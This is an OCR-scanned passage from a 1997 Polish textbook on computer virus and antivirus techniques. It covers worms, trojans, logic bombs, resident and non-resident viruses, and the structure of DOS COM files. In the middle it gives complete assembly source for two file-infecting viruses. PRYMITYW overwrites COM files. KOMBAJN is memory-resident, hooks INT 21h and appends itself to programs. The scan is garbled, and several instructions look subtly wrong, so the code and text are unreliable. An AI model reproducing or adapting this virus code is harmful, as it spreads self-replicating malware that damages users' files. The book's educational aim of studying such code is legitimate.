wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory
wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-
MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE
Randomic Life Generator).

2.6. Robaki (ang. worms)

Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów,
tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania
miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy
towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są
najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji
sieciowej, dzięki którym mogą przemieszczać się po całej sieci.

2.7. Konie trojańskie (ang. trojan horses)

Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie
(najczęściej destrukcyjne) często bywa z nim utożsamiany.
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby
to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo,
program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla
użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na
dysku twardym).
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne
programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe
do obsługi dysków.

2.8. Bomby logiczne (ang. logical bombs)

O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe
destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie
(najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze
względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu
programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których
pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny,
uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.

ROZDZIAŁ 3

3.1. Wirusy nierezydentne (ang. non-resident viruses)

Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających
pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy
pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia
żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie
znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w
katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach
bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje
żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie
programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną
wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu
wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz
łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika.
Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po
uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie
maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy
nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem,
początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję
wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w
asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy
pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po
ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest
bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez
siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia
ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu
(programy COM przestaną "nagle" działać).

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prymitywny wirus nierezydentny
nadpisujacy, ;
; atakujacy i niszczacy pierwszy znaleziony
;
; w katalogu plik COM
;

; Kompilacja :
;
; TASM PRYMITYW.ASM
;
; TLINK /t PRYMITYW.OBJ
;
;
;
;----------------------------------------------------------------
------------;

PRYMITYW SEGMENT
ASSUME CS: PRYMITYW, DS:PRYMITYW

ORG 100h
WirDlug = Offset (WirKoniec-WirStart)
; WirDlug okresla dlugosc calego
kodu wirusa

WirStart:

mov cx,20h ; atrybut poszukiwanej pozycji
katalogu (Archive)
mov dx,Offset PlikiCOM ; szukaj plikow *.COM
mov ah,4Fh ; funkcja DOS - szukaj pozycji w
katalogu
int 21h ; wywolaj funkcje

mov ax,3D02h ; funkcja DOS - otworz plik do
odczytu i zapisu
mov dx,9Fh ; nazwa znalezionego pliku w buforze
DTA
; znajdujacym sie pod adresem CS:80h
int 21h ; wywolaj funkcje

xchg ax,bx ; przenies uchwyt pliku z AX do BX

mov cx,WirDlug ; podaj ile bajtow zapisac
mov dx,100h ; zapisuj spod adresu CS:100h
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje

ret ; rownoznaczne z wykonaniem Int 20h

PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w
katalogu

WirKoniec:

PRYMITYW ENDS
END WirStart

3.2. Wirusy rezydentne (ang. resident viruses)

Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela
wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali
Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu
operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS,
implementując w typowo jednozadaniowym środowisku mechanizm sztucznej
wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na
zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań
do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang.
Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR,
który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć.
Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy
nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem
przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się
także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika
stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się
poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez
ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory
i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego,
infekującego pliki COM podczas ich uruchamiania.

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus rezydentny plikow COM
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; Przejmuje przerwanie 21h
;
; Przejmuje przerwanie 24h na czas infekcji
;
;
;
; Kompilacja :
;
; TASM KOMBAJN.ASM
;
; TLINK /t KOMBAJN.OB J
;

;
;
;----------------------------------------------------------------
------------;
JUMPS
KOMBAJN SEGMENT
ASSUME CS:KOMBAJN, DS:KOMBAJN
ORG 100h

Haslo = 0BACAh ; \ do sprawdzenia,
czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany
w pamieci

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16

Start: ; poczatek wirusa

PoczatekWirusa: ; pomocnicza etykieta

Call Trik ; zapisz na stosie
relatywny ofset
Trik:

pop si ; zdejmij ze stosu
relatywny ofset
sub si,103h ; oblicz ofset do
poczatku wirusa

mov ax,Haslo ; \ sprawdz, czy wirus
jest
int 21h ; / juz w pamieci

cmp ax,Odpowiedz ; \ czy kopia wirusa

odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz
komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do
nosiciela

InstalacjaWPamieci: ; poczatek instalacji

lea di,TeCopyRight ; \ wyswietl info o
wirusie
Call DrukSI ; /

lea di,TeInstalacja ; \ zapytaj
uzytkownika, czy chce
Call DrukSI ; \ zainstalowac
wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 - uzytkownik
nie chce instalowac

mov ax,3521h ; funkcja DOS - wez
adres INT 21
int 21h ; wywolaj funkcje

mov [si][Stare21Seg],es ; \ zachowaj adres
(wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)

mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP

dec ax ; AX=ES-1=MCB do
aktualnego bloku
mov ds,ax ; DS=blok MCB
mov bx,word ptr ds:[0003h] ; wez dlugosc
aktualnego bloku
sub bx,DlugoscWPamieci+1 ; zmniejsz go o
dlugosc wirusa

mov ah,4Ah ; funkcja DOS - zmien
rozmiar bloku pamieci
int 21h ; wywolaj funkcje

mov bx,DlugoscWPamieci ; podaj dlugosc
wymaganego bloku pamieci
mov ah,48h ; funkcja DOS -
przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 - nie udalo sie
przydzielic

mov es,ax ; ES=wskazuje na
przydzielony blok
xor di,di ; ES:DI - dokad
skopiwoac
cld ; zwiekszaj SI, DI w
REP MOVSB

push si ; SI bedzie zmieniany,
wiec zachowaj
add si,offset PoczatekWirusa ; dodaj ofset : skad
kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow
kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do
ES:DI, CX bajtow
pop si ; przywroc relatywny
ofset

mov ax,es ; pobierz adres do MCB
opisujacego
dec ax ; blok, w ktorym jest
wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa,
jako systemowy
sub ax,0Fh ; \ DS=adres bloku-
10h
mov ds,ax ; \ sztuczka, dzieki
ktorej mozna
; / odwolywac sie do
danych jak w
; / zwyklym programie
COM (ORG 100h)

mov dx,Offset NoweInt21 ; DX=adres do nowej
procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw
adres INT 21
int 21h ; wywolaj funkcje

push cs ; \ wyswietl
komunikat o
pop ds ; \ instalacji w
pamieci
lea di,TeZainstalowany ; \ i segment, w
ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /

PowrocDoNosiciela: ;
push cs cs ; \ przywroc
DS=ES=CS=PSP
pop ds es ; /

mov al,byte ptr [si][StareBajty] ; \ przywroc 3
poczatkowe bajty
mov ds:[100h],al ; \ programu pod
adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /

mov ax,100h ; \ zachowaj na stosie
slad do
push ax ; / adresu 100h

xor ax,ax ; \ dla
bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac
rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /

ret ; powroc do nosiciela

PytanieOInstalacje: ; \ odpowiedz
rezydujacego
xchg al,ah ; - wirusa na
pytanie, czy jest
iret ; / w pamieci

NoweInt21:
cmp ax,4B00h ; czy funkcja DOS -
uruchom program ?
je InfekcjaPliku ; TAK - sprobuj
infekowac
cmp ax,Haslo ; czy pytanie wirusa o
instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz ze
zainstalowany

jmp PowrotZInt21 ; idz do poprzedniego
lancucha
; przerwan

InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane
rejestry

mov cs:StaryDS, ds ; \ zachowaj adres do
nazwy pliku
mov cs:StaryDX, dx ; /

mov ax,3524h ; \ pobierz stara
i ustaw
Call StareInt21 ; \ nowa procedure

obslugi
mov cs:Stare24Seg,es ; \ przerwania
krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu
ochrony
; \ przed
ewentulanymi bledami
push cs ; / (np; podczas
proby zapisu
pop ds ; / na
zabezpieczonej przed
lea dx,NoweInt24 ; / zapisem
dyskietce, nie
mov ax,2524h ; / zostanie
wywolany dialog
Call StareInt21 ; / ARIF)

mov ds,cs:StaryDS ; DS=wskazuje na nazwe
pliku
mov dx,cs:StaryDX ; podaj nazwe pliku
mov ax,4300h ; funkcja DOS - czytaj
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad,
wiec powrot

mov cs:Atrybut,cl ; wez stary atrybut

mov ax,4301h ; funkcja DOS - zapisz
atrybut
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut

mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt
pliku do BX

mov ax,5700h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku
na pozniej

cmp dx,VZnacznik ; czy plik jest juz
zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik,
powrot

push cs ; \ DS=CS=segment
wirusa
pop ds ; /

mov cx,3 ; ilosc czytanych
bajtow
lea dx,StareBajty ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [StareBajty] ; wez dwa pierwsze
bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to
nie EXE
je ZamknijPlik ; gdy "MZ", to plik
EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy "ZM", to plik
EXE, powrot

xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

; DX=starsza czesc
dlugosci pliku
or dx,dx ; czy plik krotszy niz
65536 ?
jnz ZamknijPlik ; nie - nie infekuj

cmp ax,64000 ; czy dlugosc <= 64000
?
jmp ZamknijPlik ; nie - nie infekuj

cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; nie - nie infekuj

sub ax,3 ; odejmij dlugosc
skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora
rozkaz skoku

lea di,TeZnalazlemPlik ; \ zapytaj
uzytkownika
Call Druk ; \ czy chce
zainfekowac
; \ plik
mov di,cs:StaryDX ; \ (nazwa pliku
jest
mov ds,cs:StaryDS ; \
wyswietlana)
Call Druk ; \
; - (dzieki temu
uzytkownik
push cs ; / ma pelna
kontrole nad
pop ds ; / tym, co
wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / gdy CF=1,
uzytkownik nie pozwala

mov cx,DlugoscWirusa ; ilosc zapisywanych
bajtow
mov dx,100h ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,3 ; ilosc zapisywanych
bajtow
lea dx,Skok ; podaj skad zapisac
rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz

do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie
infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h

ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
Call StareInt21 ; wywolaj stare
przerwanie 21h

PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do
zmiany
mov ds,cs:StaryDS ; w DS:DX
mov ax,4301h ; funkcja DOS - zmien
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h

lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare
przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /

pop di si dx cx bx ax ds es ; przywroc zmieniane
rejestry

PowrotZInt21:
db 0EAh ; mnemonik rozkazu
skoku JMP FAR
Stare21Ofs dw ? ; (z tych pol korzysta
skok
Stare21Seg dw ? ; aby oddac sterowanie
do poprzedniego
; elementu lancucha
przerwan INT 21)

StareInt21:
pushf ; \ symuluj wywolanie
przerwania
Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare
przerwanie

ret ; powroc z wywolania

DrukSI: ; procedura wyswietla
tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla
tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane
rejestry

DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu
(znak=NUL) ?
jz DrukPowrot ; TAK - kocz pisanie

mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje

inc di ; zwieksz indeks (na
nastepny znak)

jmp short DrukPetla ; idz po nastepny znak

DrukPowrot:
pop di ax ; przywroc zmieniane
rejestry

ret ; powrot

DrukHEX16: ; drukuje liczbe
heksalna z AX
push ax ; zachowaj AX
(dokladniej AL)
mov al,ah ; najpierw starsza
czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX
(dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe
heksalna z AL
push ax ; zachowaj AX
(dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez
16,
shr al,1 ; / czyli wez 4
starsze bity AL
shr al,1 ; /

Call DrukHex4 ; i wydrukuj czesc
liczby szesnastkowej
pop ax ; przywroc AX
(dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity
AL
; i wydrukuj czesc
liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby
binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh
na
Cyfra09: ; / '0'..'9',
'A'..'F'
add al,'0' ; /

mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje

ret ; powrot

Decyzja: ; \ pobiera z
klawiatury
mov ah,0h ; \ znak i
sprawdza, czy jest
int 16h ; \ to litera
'T'lub 't'
and al,0DFh ; \ jezeli tak,
ustawia CF=0
cmp al,'T' ; \ jezeli nie,
ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /

NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy
dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania

TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam
Blaszczyk 1997'
db CR,LF,NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci
operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci
!',NUL
TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w

segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac
zainfekowac go KOMBAJNEM (T/N) ?',NUL

StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
all:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?

KOMBAJN ends
end start

3.2.1. Szybkie infektory (ang.fast infectors)

Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do
obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co
powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje
jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często
pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu
zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu
jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli
najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast
zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla
użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik
stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi,
zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.

3.2.2. Wolne infektory (ang. slow infectors)

Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie
jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie.
Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur
szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje
lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej
operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż
potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane
programy antywirusowe.

ROZDZIAŁ 4

4.1. Pliki

Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na
samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak
liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można
powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które
posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje
operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE),
wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami
wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki
programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM).
Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze
(ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej
budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na
uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz
sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików
COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas
uruchamiania programów (blok wstępny programu, otoczenie programu).

4.1.1. Pliki wykonywalne COM

Ze względu na swą prostą budowę programy typu COM od początku stanowiły
smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci
absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku
pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku
wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM
po załadowaniu do pamięci przedstawia poniższa tabela.

Wygląd programu COM po załadowaniu do pamięci:
Adres (względem segmentu), do którego
został załadowany plik COM

Zawartość pamięci

CS:0000-CS:0100

Blok wstępny PSP (patrz następna tabela)

CS:0000-CS:????

Kod programu załadowany z pliku

Format bloku wstępnego programu PSP
Adres w pamięci

Zawartość

00-01

Kod rozkazu int 21 h (CD 21)

02-03

Adres segmentu pamięci niedostępnej dla programu

Nie używane przez DOS, używane wewnętrznie przez OS/2

05-09

Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej
procedury)

06-07

Rozmiar dostępnej pamięci w segmencie

0A-0D

Zapamiętywany adres zakończenia programu (int 22h)

0E-11

Adres programu obsługi CTRL-BREAK (int 23h)

12-15

Adres programu obsługi błędów krytycznych (int 24h)

16-17

Adres do segmentu pamięci, gdzie znajduje się blok PSP
programu rodzicielskiego (interpretator poleceń modyfikuje to
pole i wstawia tam adres swojego PSP)

18-2B

Tablica plików obsługiwanych przez proces JFT (ang. Job File

Table); każdy element tablicy zawiera indeks wskazujący na
element SFT (ang. System File Table) opisujący wszystkie
otwarte w systemie pliki lub też wartość FF, jeżeli element nie
jest używany

2C-2D

Adres segmentu pamięci, w którym znajduje się otoczenie
programu, zawierające definicje zmiennych środowiskowych
systemu DOS, takich jak PATH, PROMPT Ud. Każdy element
otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B
rozszerza otoczenie programu poprzez dodanie jednego słowa
określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle
0001), a następnie umieszcza dalej nazwę uruchamianego
programu. Umożliwia to procesowi dotarcie do pliku na dysku
zawierającego kod uruchomionego programu - jest to parametr
paramstr(0) w Pascalu i argv[0] w C.

2E-31

Zapamiętane wartości SS:SP (używane podczas wywoływania
funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed
przełączeniem się na własny stos

32-33

Liczba elementów tablicy JFT (standardowo =20)

34-37

Daleki wskaźnik do tablicy plików JFT (standardowo CS:18)
umożliwia rozszerzenie ilości plików wykorzystywanych przez
proces

38-3B

Daleki wskaźnik do poprzedniego bloku wstępnego PSP

3C-4F

Pola wykorzystywane wewnętrznie przez różne systemy
operacyjne

50-52

Kod rozkazów: INT 21 h RETF

53-54

Nie używane

55-5B

Nie używane, można użyć, aby zmienić standardowy blok FCB
na rozszerzony blok FCB

5C-6B

Standardowy blok opisu pliku FCB1

6C-7B

Standardowy blok opisu pliku FCB2

7C-7F

Nie używane

80-FF

Bufor transmisji dyskowych DTA. Bezpośrednio po
uruchomieniu programu zawiera jego wiersz wejściowy,
zawierający parametry podane z linii poleceń, zakończony
znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza
wejściowego nie uwzględniając znaku CR.

Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów
ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku
PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie
(zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy
dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych
bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy
rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością
dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu
sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu

odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod
adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku
kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na
większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo
wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu
infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko
stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie
większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP,
tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2
wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po
wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu
segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie
może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub
nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt
długiego pliku COM niszczona będzie część programu znajdująca się przy końcu
segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu
wirusem.
Struktura niezainfekowanego pliku COM
Zawartość pliku
Kod programu w tzw. postaci absolutnej

Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
Zawartość pliku
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP
NEAR)
Kod zainfekowanego programu
Kod wirusa wraz z zapamiętanymi bajtami początkowymi

Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego
programu
Zawartość pliku
